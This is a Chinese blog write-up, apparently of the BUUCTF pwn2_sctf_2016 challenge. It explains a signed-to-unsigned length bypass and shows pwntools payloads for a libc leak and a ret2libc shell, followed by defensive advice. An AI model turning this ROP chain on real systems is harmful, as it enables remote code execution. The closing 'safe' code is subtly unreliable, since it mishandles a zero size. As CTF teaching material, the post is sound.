三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

从有符号到无符号:一个整数转换如何让BUUCTF的pwn2_sctf_2016漏洞利用变得简单

从有符号到无符号:一个整数转换如何让BUUCTF的pwn2_sctf_2016漏洞利用变得简单

从有符号到无符号:整数类型混淆在漏洞利用中的艺术

在二进制安全领域,类型系统的边界往往隐藏着致命的陷阱。当我们谈论缓冲区溢出时,多数人会想到经典的栈溢出或堆溢出,但有一种更为隐蔽的漏洞类型——整数类型混淆,特别是有符号与无符号整数的转换问题,它能在看似严密的长度检查中撕开一道口子。本文将以BUUCTF平台上的pwn2_sctf_2016为例,深入剖析这个被低估的漏洞类型。

1. 漏洞背景与程序分析

pwn2_sctf_2016是一个经典的CTF挑战题,考察选手对C语言类型系统的深入理解。通过IDA反编译,我们可以快速定位到关键函数vuln()和get_n():

// 伪代码表示关键逻辑 void vuln() { int size; // 有符号整数 char buf[40]; printf("How many bytes do you want me to read? "); size = get_int(); if (size > 32) { printf("No! That size is too big!\n"); return; } get_n(buf, size); // 将size传递给无符号参数 } void get_n(char* buf, unsigned int size) { for(unsigned int i=0; i<=size; i++) { buf[i] = getchar(); // 潜在的缓冲区溢出 } }

这里存在一个典型的类型混淆漏洞:vuln()中的size被声明为有符号整数,而get_n()的参数却是无符号整数。这种差异在特定输入下会产生灾难性后果。

2. 有符号与无符号整数的底层差异

要理解这个漏洞的本质,我们需要深入计算机如何表示有符号和无符号整数:

特性有符号整数(int)无符号整数(unsigned int)
表示范围(32位)-2³¹ ~ 2³¹-10 ~ 2³²-1
负数的表示补码形式无负数概念
比较运算考虑符号位纯二进制比较
-1的二进制表示0xFFFFFFFF4294967295

当我们将-1传递给get_n()时,关键转换发生了:

# 有符号-1到无符号的转换过程 signed_int = -1 # 内存表示: 0xFFFFFFFF unsigned_int = unsigned(signed_int) # 解释为4294967295

这种转换不是数值上的变化,而是对同一内存模式的重新解释。GDB调试可以清晰展示这一过程:

(gdb) p/x -1 $1 = 0xffffffff (gdb) p (unsigned)-1 $2 = 4294967295

3. 漏洞利用链的构建

利用这个类型混淆漏洞,攻击者可以绕过长度检查,实现任意长度的栈溢出。以下是完整的利用步骤:

  1. 触发整数溢出:输入-1作为size,通过有符号检查后,在无符号上下文中变为极大值
  2. 构造ROP链:利用溢出覆盖返回地址,泄露libc函数地址
  3. 计算关键地址:根据泄露的地址计算system和"/bin/sh"的真实地址
  4. 获取shell:第二次溢出执行system("/bin/sh")

关键payload构造如下:

from pwn import * # 第一段payload泄露libc地址 payload1 = flat( b'A'*(0x2c + 4), p32(printf_plt), p32(vuln_addr), p32(printf_got) ) # 第二段payload获取shell payload2 = flat( b'A'*(0x2c + 4), p32(system_addr), p32(vuln_addr), p32(bin_sh_addr) )

4. 防御措施与安全编程实践

要防止这类漏洞,开发者应当:

  • 统一类型系统:确保同一变量的类型在整个生命周期中保持一致
  • 使用安全函数:如snprintf替代sprintf,strncpy替代strcpy
  • 静态分析工具:使用Coverity、Klocwork等工具检测类型不一致
  • 防御性编程:对用户输入进行严格的范围检查
// 安全的实现方式 void safe_get_n(char* buf, size_t size) { if(size > BUF_SIZE) { handle_error(); return; } for(size_t i=0; i<size; i++) { // 注意循环条件 buf[i] = getchar(); } buf[size-1] = '\0'; // 确保null终止 }

在实际开发中,我遇到过多次因类型混淆导致的边界条件错误。最有效的调试方法是在GDB中同时打印变量的有符号和无符号表示,这能快速发现类型解释不一致的问题。

← 返回列表